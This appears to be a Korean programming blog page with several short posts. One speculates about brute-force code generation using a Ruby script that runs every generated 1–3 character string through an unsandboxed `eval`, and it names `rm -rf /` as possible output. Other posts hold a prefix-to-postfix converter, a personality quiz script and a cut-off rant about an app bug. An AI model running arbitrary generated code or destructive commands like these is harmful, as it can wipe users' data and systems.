인간의 기본적인 특징과 상호 작용을 파악하여 그 부분을 집중적으로 경우의 수로 풀어놓는다면 가능한 것, 가능하지 않은 것에 대한 통계 자료가 DB에 축적될 것이고 그 통계 자료를 참고하여 목적에 좀 더 가까워질 수 있으리라 생각한다.

이러한 경우를 예를 들 수 있다.
경우의 수대로 자동으로 소스 코드를 생성하는 프로그램을 만들어서 실행시킨다면 언젠가는 인공지능 코드도 나오지 않을까? 언젠가는 지금 사용하는 시스템과 똑같은 운영체제 등이 나오지 않을까? 비스타와 똑같은 소스가 언제가는 나오지 않을까?
그런 결과가 나오기까지는 많은 제약이 따르지만 확률상 가능하다.

require 'gdbm'

letters = (' '..'~').collect(&:chr)
index = 0
R_RANGE = 1..3

# n = letters.length #=> 95
# nΠr = n ** r
# 경우의 수 = 95 ** r
# 1..3 까지의 중복조합 경우의 수 = 95**1 + 95**2 + 95**3 = 866495

dbm = GDBM.open("code.db")

for r in R_RANGE
    # 중복 순열
    letters.repeated_permutation(r).each do |arr|
        code = arr.join
        begin
            eval code
            # msg = `ruby -ce #{code}`
            # raise if msg != "Syntax OK\n"
        rescue Exception => e
            #STDERR.puts "#{code}: #{e.message}"
        else
            #puts "SUCCESS: " + code
            dbm[index.to_s] = code
            index += 1
        end
    end
end

dbm.close


위의 코드로부터 악성코드나 바이러스나 시스템을 파괴하는 소스도 생성될 수 있다. 이를테면 `rm -rf /` 같은 코드가 실행될 수 있다는 말이다. 위의 소스 생성기를 가동하려면 문제점을 건너뛸 수 있는 안전성이 확보되어야 한다.
그리고 하드웨어가 많이 발전하였지만 의미있는 결과물이 나오기까지 엄청난 시간이 소요될 수 있다.
병렬 처리를 하면 시간이 단축될 것이고 시스템을 파괴하는 부분에 있어서는 가상 환경을 이용하면 될 것이다.

위와 같은 확률, 통계에 기반한 방법으로 스스로 복제, 생성, 진화하는 프로그램이 나온다면 세계의 네트워크를 장악하여 중앙 컴퓨터에서 지구상의 일들을 모두 통제하는 시스템이 만들어질지도 모른다.
경우의 수로 소스 코드를 만들어서 실행하는 것이므로 인간이 생각할 수 있는 모든 경우가 만들어질 것이다. 그 시스템에 기계를 제작할 수 있는 로봇을 제어할 수 시스템을 연결해 준다면 진화하는 로봇이 만들어질지도...

수억년 동안 위의 소스 생성기가 실행된다면 인공지능은 마침내 물리 법칙을 발견하고 생물학 법칙들을 발견하여 생물을 만들어낼지도 모른다.
이러한 관점에서 생명에 대해 생각해보면 지구가 수십억년을 지나오면서 생명체가 스스로 만들어지고 진화했다고 하는 자연 발생설을 무시할 수 없다.

알 수 없는 미지의 세계 - 많은 과학자들은 연구를 하고 있다. 경우의 수대로 수십년, 수십억년을 시행 착오를 거치고 연구 결과 또한 수십년~수십억년 동안 기록된다면 상상 가능한 모든 일이 언젠가는 이루어지지 않을까.
인간의 문명은 어쩌면 확률과 통계에 따라서 발전하고 있을지도 모른다.
많은 수의 인간이 시도하고(확률) 좋은 결과(통계)에 대하여 집중적으로 시도하면 지구가 멸망하지 않는 한 모든 것이 이루어질 것이다.

전위 표기를 후위 표기로 변환(prefix to postfix)

2011년 3월 28일 월요일

#!/usr/bin/ruby
# coding: utf-8

# 전위 표기(prefix)에서 후위 표기(postfix)로 변환

prefix = '+ * / A ^ B C D E'.split # 입력된 전위 표기 배열
postfix = [] # 후위 표기 출력용 배열

index = 0 # 후위 표기 배열 인덱스
stack = [] # 연산자 스택

for element in prefix
    if element =~ /[+\-\*\/\^]/
        stack.push(element)
    else
        postfix[index] = element
        index = index + 1

        # first 는 bottom, last 는 top
        while (not stack.empty?) and (stack.last.eql? :left_done)
            raise 'error 1' if stack.pop.nil?
            postfix[index] = stack.last
            index = index + 1
            raise 'error 2' if stack.pop.nil?
        end # end of while

        stack.push(:left_done)
    end # end of case
end # end of for

p prefix.join(" ")  #=> "+ * / A ^ B C D E"
p postfix.join(" ") #=> "A B C ^ / D

성격 테스트

#!/usr/bin/ruby
# coding: utf-8

qna = [
    "'1.전혀 아니다, 2.별로 아니다, 3.중간이다, 4.약간 그렇다, 5.매우 그렇다' 중\n" +
        "1에서 5까지의 숫자로 답하시오.",
    {:q => "1. 모르는 사람에게 먼저 말을 건다"},
    {:q => "2. 다른 사람이 편안하고 행복한지 확인한다"},
    {:q => "3. 그림, 글, 음악을 창작한다"},
    {:q => "4. 모든 일을 사전에 준비한다"},
    {:q => "5. 울적하거나 우울함을 느낀다"},
    {:q => "6. 회식, 파티, 사교모임을 계획한다"},
    {:q => "7. 사람들을 모욕한다"},
    {:q => "8. 철학적이거나 영적인 문제들을 생각한다"},
    {:q => "9. 일이나 물건을 정리하지 않고 어지럽게 그냥 둔다"},
    {:q => "10. 스트레스나 걱정을 느낀다"},
    {:q => "11. 어려운 단어를 사용한다"},
    {:q => "12. 타인의 감정에 공감한다"}
]

puts desc = qna[0]

(1..12).each do |i|
    begin
        print qna[i][:q] + "? "
        ans = gets.to_i
        case ans
        when 1..5 then qna[i][:a] = ans
        else raise desc
        end
    rescue => e
        puts e.message
        retry
    end
end

puts "\n===== 결과 ====="
printf "외향성: %2d (%3d%%)\n", sum = qna[1][:a] +   qna[6][:a],  sum * 10
printf "신경성: %2d (%3d%%)\n", sum = qna[5][:a] +   qna[10][:a], sum * 10
printf "성실성: %2d (%3d%%)\n", sum = qna[4][:a] + 6-qna[9][:a],  sum * 10
printf("친화성: %2d (%3d%%)\n", sum = qna[2][:a] + 6-qna[7][:a] + qna[12][:a],
    (sum/15.0*100).round)
printf("개방성: %2d (%3d%%)\n", sum = qna[3][:a] + 6-qna[8][:a] + qna[11][:a],
    (sum/15.0*100).round)


해보니까..

개방성: 10 ( 67%)

나오네요 ㅋㅋㅋ

응용 어플 끝글자 버그 잡는 거 진짜 개쉽습니다

그 동안 제가 끝글자 버그를 잡지 않고 방치한 이유 우선 책임, 의무가 없습니다. 제가 해당 어플 개발자도 아닐 뿐더러 오픈소스가 원래가 유지보수 의무, 보증 책임이 없습니다 . 이렇게 개떡 같은 게 오픈소스입니다. 전 과거 libhwp 하냐고...